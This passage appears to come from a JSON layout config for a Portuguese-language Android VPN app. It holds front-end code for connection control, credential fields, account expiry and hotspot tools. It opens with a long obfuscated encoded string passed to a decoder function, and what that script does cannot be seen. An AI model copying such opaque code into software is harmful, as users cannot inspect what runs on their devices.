qUWbxbUWxqUbWxxbxWxqUbWxxUUWxxxUWxqUbWxxqUWxqUbWbxxUWbxbUWbqUUWbxxxWbxqUWbxUqWbbqxWxUUbWbbqqWbxqUWbxbbWbxUxWbqUUWbxqbWxxUqWbxbbWbxqUWbxUqWbxxxWbbqbWbxxbWxbbxWxqUbWbxbbWbxUxWbxqxWbqUUWbxbbWbqqxWbbqbWbxUxWbbqqWbqUUWbxxxWbxqUWxxUqWbbqxWbxqUWbbqbWxUxUWbbqbWbxqUWbxbUWxxxbWxxxxWbxbbWbqUUWbbqxWbbqbWxUxUWbxbUWbqUUWbxxxWbxqUWxUxUWbxUqWbxqbWbxqUWbbxbWxxxxWxxbbWxqUbWbxxUWbxUqWbxqbWbxqUWbbxbWxUxUWbxbUWbqUUWbxxxWbxqUWbxbUWxxUqWbbqbWbxUxWbqqxWbbqbWbbqqWbxxUWbxUqWbxxxWxxxbWxxxUWxxxUWxbbxWxqUbWbbbUWxqUbWbbqxWbxqUWbbqbWxUxUWbxUqWbbqbWbxqUWbbqqWbbxqWbqUUWbxbbWxxxbWbxqxWbxxbWbqUUWbxUqWbxxxWbxqUWxUqxWbxUxWbxbbWbxUxWbbqqWbbqxWxxbbWxqUbWxxUUWxxUbWxxUbWxxUbWxxUbWxxxUWxbbxWxqUbWbxqxWbxxbWbqUUWbxUqWbxxxWbxqUWxUqxWbxUxWbxbbWbxUxWbbqqWbbqxWxxxbWxxxUWxbbxWxqUbWbbbUWxxxUWxbbxWxqUbWbbxxWbxxUWbxUqWbxqbWbxUxWbbxxWxxUqWbqUUWbxqbWbxqbWxUqUWbbxqWbxqUWbxUqWbbqbWxUbbWbxxUWbbqxWbbqbWbxqUWbxUqWbxqUWbbqqWxxxbWxxxxWbxqqWbxqUWbxxqWbxUxWbbqqWbxqUWbbqUWbxUqWbxbbWbxUxWbqUUWbxqbWxxxxWxxbbWxqUbWxxxbWxxxUWxqUbWxbbUWxbUqWxqUbWbbbxWxqUbWbxbbWbxUxWbxqxWbqUUWbxbbWbqqxWbbqbWbxUxWbbqqWbqUUWbxxxWbxqUWxxUqWbbqxWbxqUWbbqbWxUxUWbbqbWbxqUWbxbUWxxxbWxxxxWbxbbWbqUUWbbqxWbbqbWxUxUWbxbUWbqUUWbxxxWbxqUWxUxUWbxUqWbxqbWbxqUWbbxbWxxxxWxxbbWxqUbWbxxUWbxUqWbxqbWbxqUWbbxbWxUxUWbxbUWbqUUWbxxxWbxqUWbxbUWxxUqWbbqbWbxUxWbqqxWbbqbWbbqqWbxxUWbxUqWbxxxWxxxbWxxxUWxxxUWxbbxWxqUbWbbbUWxxxUWxbbxWxqUbWbbxxWbxxUWbxUqWbxqbWbxUxWbbxxWxxUqWbqUUWbxqbWbxqbWxUqUWbbxqWbxqUWbxUqWbbqbWxUbbWbxxUWbbqxWbbqbWbxqUWbxUqWbxqUWbbqqWxxxbWxxxxWbxbbWbxUxWbqUUWbxqbWxxxxWxxbbWxqUbWxxxbWxxxUWxqUbWxbbUWxbUqWxqUbWbbbxWxqUbWbxqxWbxUxWbxUqWbbqxWbbqbWxqUbWbxbbWbqUUWbbqxWbbqbWxUxUWbxbUWbqUUWbxxxWbxqUWxUxUWbxUqWbxqbWbxqUWbbxbWxqUbWxbbUWxqUbWbxbbWbxUxWbxqxWbqUUWbxbbWbqqxWbbqbWbxUxWbbqqWbqUUWbxxxWbxqUWxxUqWbxxxWbxqUWbbqbWxUxUWbbqbWbxqUWbxbUWxxxbWxxxxWbxbbWbqUUWbbqxWbbqbWxUxUWbxbUWbqUUWbxxxWbxqUWxUxUWbxUqWbxqbWbxqUWbbxbWxxxxWxxxUWxbbxWxqUbWbxxUWbxxqWxqUbWxxxbWbxbbWbqUUWbbqxWbbqbWxUxUWbxbUWbqUUWbxxxWbxqUWxUxUWbxUqWbxqbWbxqUWbbxbWxqUbWxqUUWxbbUWxbbUWxqUbWbxUqWbbqUWbxbbWbxbbWxxxUWxqUbWbbbxWxqUbWbxxUWbxUqWbxqbWbxqUWbbxbWxUxUWbxbUWbqUUWbxxxWbxqUWbxbUWxqUbWxbbUWxqUbWbxUbWbqUUWbbqqWbbqxWbxqUWxUxUWbxUqWbbqbWxxxbWbxbbWbqUUWbbqxWbbqbWxUxUWbxbUWbqUUWbxxxWbxqUWxUxUWbxUqWbxqbWbxqUWbbxbWxxxUWxbbxWxqUbWbbbUWxqUbWbxqxWbxxbWbqUUWbxUqWbxxxWbxqUWxUqxWbxUxWbxbbWbxUxWbbqqWbbqxWxxxbWxxxUWxbbxWxqUbWbbbUWxxxUWxbbxWUbqW\",82,\"qxbUWPYvO\",46,4,53))</script>\n\n <!-- VARIAVEIS -->\n <script>\n const Body = Dom(\"body\")\n\n const HomeHeader = Dom(\"section.home header\")\n const LogoHeader = Dom(\"#app_logo\")\n\n const HomeContainer = Dom(\"section.home\")\n const CarrierContainer = Dom(\"section.carrier-list\")\n const ProfileContainer = Dom(\"section.profile\")\n const ToolsContainer = Dom(\"section.container-tools\")\n const RegisterContainer = Dom(\"section.logs-container\")\n const ErrorContainer = Dom(\"section.container-error\")\n const LoadingContainer = Dom(\"section.loading\")\n const CheckuserContainer = Dom(\"section.checkuser\")\n const ClearDataContainer = Dom(\"section.clean-data-app\")\n const HotspotContainer = Dom(\"section.hotspot-container\")\n const TermsContainer = Dom(\"section.terms-container\")\n const RenewContainer = Dom(\"section.renew-alert\")\n\n const BackButtonCarrierContainer = Dom(\"#back-carrier-container\")\n const BackProfileContainer = Dom(\"#back-profile-container\")\n const BackToolsContainer = Dom(\"#back-tools-container\")\n const BackRegisterContainer = Dom(\"#register-logs-close\")\n const BackErrorContainer = Dom(\"section.container-error header svg\")\n const BackLoadingContainer = Dom(\"#loading-container-close\")\n const BackCheckuserContainer = Dom(\"#checkuser-close\")\n const BackClearDataContainer = Dom(\"#hidden-clear-data-app\")\n const BackHotspotContainer = Dom(\"#hidden-hotspot-container\")\n const BackTermsContainer = Dom(\"#hidden-terms-container\")\n const BackRenewContainer = Dom(\"#renew-alert-close\")\n\n const RenewUsername = Dom(\"#renew-username\")\n\n const ButtonOfCarrierList = Dom(\"#carrier-list-button\")\n const ValueOfCarrierListButton = Dom(\"#value-of-carrier-list-button\")\n\n const ButtonVpnStartOrStop = Dom(\"#start-stop-vpn-button\")\n\n const StatesConnectionValue = Dom(\"#state-value\")\n const LocalIpValue = Dom('#local-ip-value')\n const ConfigVersion = Dom(\"#version\")\n\n const LabelDivUser = Dom(\"label[for='usernamediv']\")\n const LabelDivPassword = Dom(\"label[for='passworddiv']\")\n const LabelUUID = Dom(\"label[for='uuiddiv']\")\n const DivUsername = Dom(\"#usernamediv\")\n const DivPassword = Dom(\"#passworddiv\")\n const DivUUID = Dom(\"#uuiddiv\")\n const InputUsername = Dom(\"#username\")\n const InputPassword = Dom(\"#password\")\n const InputUUID = Dom(\"#uuid\")\n const EyeViewPasswordInput = Dom(\"#eye-view\")\n const ButtonSaveCreds = Dom(\"#save-creds\")\n\n const CheckuserName = Dom(\"#checkuser-name\")\n const CheckuserExpires = Dom(\"#checkuser-expires\")\n const CheckuserRemainingDays = Dom(\"#checkuser-remaing-days\")\n const CheckuserTotalConnection = Dom(\"#checkuser-total-conection\")\n\n const RegisterLogsText = Dom(\"section.logs-container section section p\")\n\n const ToastContainer = Dom(\"section.container-toast\")\n const Toast = Dom(\"section.container-toast div.toast\")\n const ToastIcon = Dom(\"section.container-toast div.toast div.icon\")\n const ToastText = Dom(\"section.container-toast div.toast span.text\")\n\n const HomeButton = Dom(\"#home\")\n const LoginButton = Dom(\"#login\")\n const ToolsButton = Dom(\"#tools\")\n const UpdateButton = Dom(\"#gif-image\")\n\n const ButtonRegister = Dom(\"#register-button\")\n const ButtonCleanRegisterLogs = Dom(\"#clear-logs\")\n\n const ButtonStartStopHotspot = Dom(\"#enable-hotspot\")\n const ButtonOpenHotspotContainer = Dom(\"#hotspot-button-tools\")\n const TitleHotspotContainer = Dom(\"#title-hotspot\")\n const ValueOfButtonHotspotContainer = Dom(\"#value-button-hotspot\")\n\n const ButtonOpenClearDataContainer = Dom(\"#button-open-clear-data-app\")\n const ButtonConfirmClearData = Dom(\"#confirm-clean-data-app\")\n\n const ButtonOpenSpeedtest = Dom(\"#speedtest-tool\")\n const ButtonOpenFilmes = Dom(\"#filmes__button\")\n const ButtonOpenApnConfig = Dom(\"#apn-tool\")\n const ButtonOpenBatteryOptimization = Dom(\"#battery-tool\")\n const ButtonOpenCheckuser = Dom(\"#myModal\")\n const ButtonOpenTerms = Dom(\"#button-open-terms-app\")\n\n const ErrorTitle = Dom(\"#error-title\")\n const ErrorDescription = Dom(\"#error-log\")\n </script>\n\n <!-- FUNÇÕES DO LAYOUT -->\n <script>\n const appLogo = () => {\n const logo = appGetConfigLabel(\"APP_LOGO\")\n\n if (!logo) {\n return \"\"\n } else {\n return `${JSON.parse(logo).value}`\n }\n }\n const appBackground = () => {\n const background_type = appGetConfigLabel(\"APP_BACKGROUND_TYPE\")\n const background_color = appGetConfigLabel(\"APP_BACKGROUND_COLOR\")\n const background_image = appGetConfigLabel(\"APP_BACKGROUND_IMAGE\")\n\n if (!background_type) {\n return \"\"\n } else if (JSON.parse(background_type)?.value === \"COLOR\") {\n return `${JSON.parse(background_color).value}`\n } else {\n return `url(${JSON.parse(background_image).value})`\n }\n }\n\n const getConfigName = () => {\n if (!appGetDefaultConfig()) {\n return `${appTranslateText(\"LBL_CHOOSE_CONFIG\")}`\n } else {\n return `${JSON.parse(appGetDefaultConfig())?.name}`\n }\n }\n\n const getUsernameValue = () => `${appGetUsername() ?? \"\"}`\n const getPasswordValue = () => `${appGetPassword() ?? \"\"}`\n const getUUIDValue = () => `${appGetUUID() ?? \"\"}`\n\n const getUsernamePlaceholder = () => `${appTranslateText(\"LBL_USERNAME\")}`\n const getPassowrdPlaceholder = () => `${appTranslateText(\"LBL_PASSWORD\")}`\n const getUUIDPlaceholder = () => `${appTranslateText(\"LBL_UUID\")}`\n\n const toggleInput = () => {\n if (checkV2ray()) {\n LabelDivUser.style({ display: \"none\" })\n DivUsername.style({ display: \"none\" })\n\n LabelDivPassword.style({ display: \"none\" })\n DivPassword.style({ display: \"none\" })\n\n LabelUUID.removeClass(\"hidden\")\n DivUUID.removeClass(\"hidden\")\n } else {\n LabelDivUser.style({ display: \"block\" })\n DivUsername.style({ display: \"flex\" })\n\n LabelDivPassword.style({ display: \"block\" })\n DivPassword.style({ display: \"flex\" })\n\n LabelUUID.addClass(\"hidden\")\n DivUUID.addClass(\"hidden\")\n }\n }\n const showInputPasswordValue = () => {\n EyeViewPasswordInput.addClass(\"hidden\")\n EyeNotViewPasswordInput.removeClass(\"hidden\")\n InputPassword.attr({ type: \"text\" })\n }\n const hiddenInputPasswordValue = () => {\n EyeViewPasswordInput.removeClass(\"hidden\")\n EyeNotViewPasswordInput.addClass(\"hidden\")\n InputPassword.attr({ type: \"password\" })\n }\n\n const checkV2ray = () => {\n const data = JSON.parse(appGetDefaultConfig())\n\n if (!appGetDefaultConfig()) {\n return false\n } else if (data?.mode?.toLowerCase()?.startsWith(\"v2ray\")) {\n return true\n } else {\n return false\n }\n }\n\n const getConnectionState = () => {\n const rootStyles = getComputedStyle(document.documentElement)\n\n const defaultColor = \"--default-background-color\"\n const connectedColor = \"--connected-background-color\"\n const connectingColor = \"--connecting-background-color\"\n const errorColor = \"--error-background-color\"\n\n const states = {\n disconnected: () => {\n const gradientColor = rootStyles.getPropertyValue(defaultColor)\n\n document.documentElement.style.setProperty(\n defaultColor,\n \"linear-gradient(135deg,#9f2fff,#0bb1d3,#7f47cb,#00ffff,#7a2cec,#4adfdf,#76fcfc,#7f47cb,#9f2fff,#0bb1d3,#7f47cb,#00ffff,#7a2cec,#4adfdf)\"\n )\n\n return states\n },\n connecting: () => {\n const gradientColor = rootStyles.getPropertyValue(connectingColor)\n\n document.documentElement.style.setProperty(\n defaultColor,\n gradientColor\n )\n\n return states\n },\n connected: () => {\n const gradientColor = rootStyles.getPropertyValue(connectedColor)\n\n document.documentElement.style.setProperty(\n defaultColor,\n gradientColor\n )\n\n return states\n },\n error: () => {\n const gradientColor = rootStyles.getPropertyValue(errorColor)\n\n document.documentElement.style.setProperty(\n defaultColor,\n gradientColor\n )\n\n return states\n },\n }\n\n return states\n }\n\n const startStopConnection = () => {\n const state = appGetConnectionState()\n\n if (getUsernameValue().length >= 3 && getPasswordValue().length >= 3) {\n\n if (appGetDefaultConfig()) {\n state !== \"CONNECTED\" ? appStartConnection() : appStopConnection()\n } else {\n showCarrierListContainer()\n }\n } else {\n showProfileContainer()\n }\n }\n\n\n\n\n const writeLogsRegister = () => {\n const data = JSON.parse(appGetLogs())\n\n let logs = \"\"\n\n data.forEach((item) => {\n logs += `${Object.keys(item)} ${item[Object.keys(item)]} <br>`\n })\n\n RegisterLogsText.html(logs)\n\n document.querySelector(\"section.logs-container.active section section\").scrollTop =\n document.querySelector(\n \"section.logs-container.active section section p\"\n ).scrollHeight\n }\n\n const writeCarrierList = () => {\n const container = document.querySelector(\"section.carrier-list section\")\n const existingCategories = container.querySelectorAll(\"div\").length\n\n container.innerHTML = \"\"\n\n const data = JSON.parse(appAllConfigs())\n data.sort((a, b) => a.sorter - b.sorter)\n data.forEach((item, index) =>\n item.items.sort((a, b) => a.sorter - b.sorter)\n )\n data.forEach((category) => {\n const div = document.createElement(\"div\")\n const h1 = document.createElement(\"h1\")\n\n h1.innerHTML = category.name\n\n const ul = document.createElement(\"ul\")\n\n category.items.forEach((item) => {\n const li = document.createElement(\"li\")\n\n li.innerHTML = `<img src=\"${item.icon}\" alt=\"icon\" /> <span>${item.name}</span> <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-check2\" viewBox=\"0 0 16 16\"><path d=\"M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z\" /></svg>`\n\n li.addEventListener(\"click\", (e) => {\n appSetConfig(item.id)\n hiddenCarrierListContainer()\n document\n .querySelectorAll(\"li\")\n .forEach((item, index) => item.classList.remove(\"active\"))\n li.classList.add(\"active\")\n writeValueOnButtonOfCarrierList(item.name)\n })\n\n ul.appendChild(li)\n })\n\n div.appendChild(h1)\n div.appendChild(ul)\n\n container.appendChild(div)\n })\n }\n const writeValueOnButtonOfCarrierList = (value) =>\n ValueOfCarrierListButton.html(value ?? getConfigName())\n\n const showToastContainer = (value) => {\n Toast.style({ borderColor: \"red, rgba(0, 0, 0, 0.5)\" })\n ToastIcon.style({ borderRight: \"1px solid red\" })\n\n writeToastText(value)\n\n ToastContainer.removeClass(\"masterSshAnimatedTime\", \"spaceOutDown\")\n ToastContainer.removeClass(\"masterSshAnimatedTime\", \"spaceInDown\")\n\n setTimeout(() => {\n ToastContainer.addClass(\"masterSshAnimatedTime\", \"spaceInDown\")\n }, 100)\n\n clearTimeout(timeoutId)\n\n timeoutId = setTimeout(() => hiddenToastContainer(), 6000)\n }\n const showToastContainerWithError = (value) => {\n Toast.style({ borderColor: \"#FF0000\" })\n ToastIcon.style({ borderRight: \"1px solid #FF0000\" })\n\n writeToastText(value)\n\n ToastContainer.removeClass(\"masterSshAnimatedTime\", \"spaceOutDown\")\n ToastContainer.removeClass(\"masterSshAnimatedTime\", \"spaceInDown\")\n\n setTimeout(() => {\n ToastContainer.addClass(\"masterSshAnimatedTime\", \"spaceInDown\")\n }, 100)\n\n clearTimeout(timeoutId)\n timeoutId = setTimeout(() => hiddenToastContainer(), 6000)\n }\n const writeToastText = (text) => {\n ToastText.html(text)\n }\n const hiddenToastContainer = () => {\n ToastContainer.removeClass(\"masterSshAnimatedTime\", \"spaceInDown\")\n ToastContainer.removeClass(\"masterSshAnimatedTime\", \"spaceOutDown\")\n ToastContainer.addClass(\"masterSshAnimatedTime\", \"spaceOutDown\")\n }\n\n const showHomeContainer = () => {\n hiddenAllContainers()\n HomeContainer.addClass(\"active\")\n }\n\n const showCarrierListContainer = () => {\n writeCarrierList()\n hiddenAllContainers()\n CarrierContainer.addClass(\"active\")\n }\n const hiddenCarrierListContainer = () => {\n showHomeContainer()\n }\n\n const showProfileContainer = () => {\n hiddenAllContainers()\n ProfileContainer.addClass(\"active\")\n }\n const hiddenProfileContainer = () => {\n showHomeContainer()\n }\n\n const showToolsContainer = () => {\n hiddenAllContainers()\n ToolsContainer.addClass(\"active\")\n }\n const hiddenToolsContainer = () => {\n showHomeContainer()\n }\n\n const showRegisterContainer = () => {\n RegisterContainer.addClass(\"active\")\n }\n const hiddenRegisterContainer = () => {\n RegisterContainer.removeClass('active')\n }\n\n const writeErrorContainer = (model) => {\n const data = JSON.parse(model)\n\n ErrorTitle.html(data.title)\n ErrorDescription.html(data.content)\n\n showErrorContainer()\n }\n const showErrorContainer = () => {\n hiddenAllContainers()\n ErrorContainer.addClass(\"active\")\n }\n const hiddenErrorContainer = () => {\n showHomeContainer()\n }\n\n const showLoadingContainer = () => {\n const data = JSON.parse(appGetDefaultConfig())\n\n if (data?.url_check_user) {\n LoadingContainer.addClass(\"active\")\n }\n\n hiddenRegisterContainer()\n }\n const hiddenLoadingContainer = () => {\n LoadingContainer.removeClass(\"active\")\n }\n\n const showRenewContainer = () => {\n RenewContainer.addClass('active')\n }\n const hiddenRenewContainer = () => {\n RenewContainer.removeClass('active')\n }\n\n const writeCheckuserContainer = (model) => {\n const data = JSON.parse(model)\n\n CheckuserName.html(`USUÁRIO: ${data.username}`)\n CheckuserExpires.html(`EXPIRA EM: ${data.expiration_date}`)\n CheckuserRemainingDays.html(`RESTA: ${data.expiration_days} DIAS`)\n CheckuserTotalConnection.html(\n `CONEXÕES: ${data.count_connections}/${data.limit_connections}`\n )\n\n if (data.expiration_days <= 5) {\n RenewUsername.html(`Caro ${data.username}`)\n showRenewContainer()\n } else {\n hiddenRenewContainer()\n }\n\n showCheckuserContainer()\n }\n const showCheckuserContainer = () => {\n hiddenLoadingContainer()\n CheckuserContainer.addClass(\"active\")\n }\n const hiddenCheckuserContainer = () => {\n CheckuserContainer.removeClass(\"active\")\n }\n\n const showClearDataAppContainer = () => {\n ClearDataContainer.addClass(\"active\")\n }\n const hiddenClearDataAppContainer = () => {\n ClearDataContainer.removeClass(\"active\")\n }\n\n const writeLocalIpValue = () => {\n LocalIpValue.html(`${appGetCarrierName()}: ${appGetLocalIp()}`)\n }\n\n const startHotspot = () => {\n appStartHotspot()\n\n TitleHotspotContainer.html(\"ROTEAMENTO LIGADO\")\n ValueOfButtonHotspotContainer.html(\"DESLIGAR HOTSPOT\")\n }\n const stopHotspot = () => {\n appStopHotspot()\n\n TitleHotspotContainer.html(\"ROTEAMENTO DESLIGADO\")\n ValueOfButtonHotspotContainer.html(\"LIGAR HOTSPOT\")\n }\n const toggleHotspot = () => {\n appGetStatusHotspot() === \"STOPPED\" ? startHotspot() : stopHotspot()\n }\n const setStatusHotspot = () => {\n if (appGetStatusHotspot() === \"STOPPED\") {\n TitleHotspotContainer.html(\"ROTEAMENTO DESLIGADO\")\n ValueOfButtonHotspotContainer.html(\"LIGAR HOTSPOT\")\n } else {\n TitleHotspotContainer.html(\"ROTEAMENTO LIGADO\")\n ValueOfButtonHotspotContainer.html(\"DESLIGAR HOTSPOT\")\n }\n }\n const showHotspotContainer = () => {\n HotspotContainer.addClass(\"active\")\n }\n const hiddenHotspotContainer = () => {\n HotspotContainer.removeClass(\"active\")\n }\n\n const showTermsContainer = () => {\n TermsContainer.addClass(\"active\")\n }\n const hiddenTermsContainer = () => {\n TermsContainer.removeClass(\"active\")\n }\n const openSpeedtest = () => {\n appIntoBrowser(\"https://topflix.fm/\")\n }\n const openFilmes = () => {\n appIntoBrowser(\"https://fast.com\")\n }\n\n const hiddenAllContainers = () => {\n HomeContainer.removeClass(\"active\")\n CarrierContainer.removeClass(\"active\")\n ProfileContainer.removeClass(\"active\")\n ToolsContainer.removeClass(\"active\")\n RegisterContainer.removeClass(\"active\")\n ErrorContainer.removeClass(\"active\")\n }\n\n const setLoopFunctionsExecute = () => {\n setInterval(() => {\n writeLocalIpValue()\n\n ConfigVersion.html(`VERSÃO: ${appGetConfigVersion()}`)\n }, 200)\n }\n\n const allFunctionsExecute = () => {\n connectionState()\n toggleInput()\n writeLogsRegister()\n setStatusHotspot()\n }\n </script>\n\n <!-- FUNÇÕES PARA O APP -->\n <script>\n const dtShowSuccessToastListener = (value) => showToastContainer(value)\n const dtShowErrorToastListener = (value) =>\n showToastContainerWithError(value)\n const dtConfigClickListener = () => {\n toggleInput()\n\n InputUsername.attr({ value: getUsernameValue() })\n InputPassword.attr({ value: getPasswordValue() })\n InputUUID.attr({ value: getUUIDValue() })\n }\n const dtVpnStateListener = (state) => connectionState(state)\n const dtOnNewLogListener = () => writeLogsRegister()\n const dtMessageErrorListener = (model) => writeErrorContainer(model)\n const dtCheckUserStartedListener = () => showLoadingContainer()\n const dtCheckUserModelListener = (model) => writeCheckuserContainer(model)\n </script>\n\n <!-- AÇÕES -->\n <script>\n HomeHeader.style({\n background: appBackground(),\n backgroundSize: \"cover\",\n backgroundPosition: \"center\",\n backgroundRepeat: \"no-repeat\",\n })\n LogoHeader.attr({ src: appLogo() })\n\n ConfigVersion.html(`VERSÃO: ${appGetConfigVersion()}`)\n\n HomeButton.on({ click: () => showHomeContainer() })\n ToolsButton.on({ click: () => showToolsContainer() })\n UpdateButton.on({ click: () => AppUpdate() })\n\n BackButtonCarrierContainer.on({\n click: () => hiddenCarrierListContainer(),\n })\n BackProfileContainer.on({ click: () => hiddenProfileContainer() })\n BackToolsContainer.on({ click: () => hiddenToolsContainer() })\n BackRegisterContainer.on({ click: () => hiddenRegisterContainer() })\n BackErrorContainer.on({ click: () => hiddenErrorContainer() })\n\n ButtonOfCarrierList.on({ click: () => showCarrierListContainer() })\n\n ValueOfCarrierListButton.html(getConfigName())\n\n ButtonVpnStartOrStop.on({ click: () => startStopConnection() })\n\n InputUsername.attr({ value: getUsernameValue() })\n InputPassword.attr({ value: getPasswordValue() })\n InputUUID.attr({ value: getUUIDValue() })\n\n InputUsername.attr({ placeholder: getUsernamePlaceholder() })\n InputPassword.attr({ placeholder: getPassowrdPlaceholder() })\n InputUUID.attr({ placeholder: getUUIDPlaceholder() })\n\n InputUsername.on({ input: (e) => appSetUsername(e.target.value) })\n InputPassword.on({ input: (e) => appSetPassword(e.target.value) })\n InputUUID.on({ input: (e) => appSetUUID(e.target.value) })\n\n EyeViewPasswordInput.on({ click: () => showInputPasswordValue() })\n\n ButtonSaveCreds.on({ click: () => hiddenProfileContainer() })\n\n ButtonRegister.on({ click: () => RegisterContainer() })\n ButtonCleanRegisterLogs.on({ click: () => appCleanLogs() })\n\n ButtonOpenHotspotContainer.on({ click: () => showHotspotContainer() })\n BackHotspotContainer.on({ click: () => hiddenHotspotContainer() })\n ButtonStartStopHotspot.on({ click: () => toggleHotspot() })\n\n ButtonOpenClearDataContainer.on({\n click: () => showClearDataAppContainer(),\n })\n BackClearDataContainer.on({ click: () => hiddenClearDataAppContainer() })\n ButtonConfirmClearData.on({ click: () => appClearData() })\n\n BackLoadingContainer.on({ click: () => hiddenLoadingContainer() })\n BackCheckuserContainer.on({ click: () => hiddenCheckuserContainer() })\n BackRenewContainer.on({ click: () => hiddenRenewContainer() })\n\n BackTermsContainer.on({ click: () => hiddenTermsContainer() })\n\n ButtonOpenSpeedtest.on({ click: () => openSpeedtest() })\n \n ButtonOpenFilmes.on({ click: () => openFilmes() })\n\n ButtonOpenApnConfig.on({ click: () => appApnConfiguration() })\n\n ButtonOpenBatteryOptimization.on({ click: () => appBatteryOptimize() })\n\n ButtonOpenCheckuser.on({ click: () => appStartCheckUser() })\n\n ButtonOpenTerms.on({ click: () => showTermsContainer() })\n\n setLoopFunctionsExecute()\n\n allFunctionsExecute()\n </script>\n \n</body>\n\n</html>",
  242. "type": "HTML"
  243. },
  244. {
  245. "label": "ANDROID WEBVIEW (POR SUA CONTA E RISCO)",
  246. "name": "APP_SUPPORT_BUTTON",
  247. "value": null,
  248. "type": "HTML"
  249. },
  250. {
  251. "label": "PAGINA WEBVIEW (POR SUA CONTA E RISCO)",
  252. "name": "APP_WEB_VIEW",
  253. "value": null,
  254. "type": "HTML"
  255. }
  256. ]

comments powered by Disqus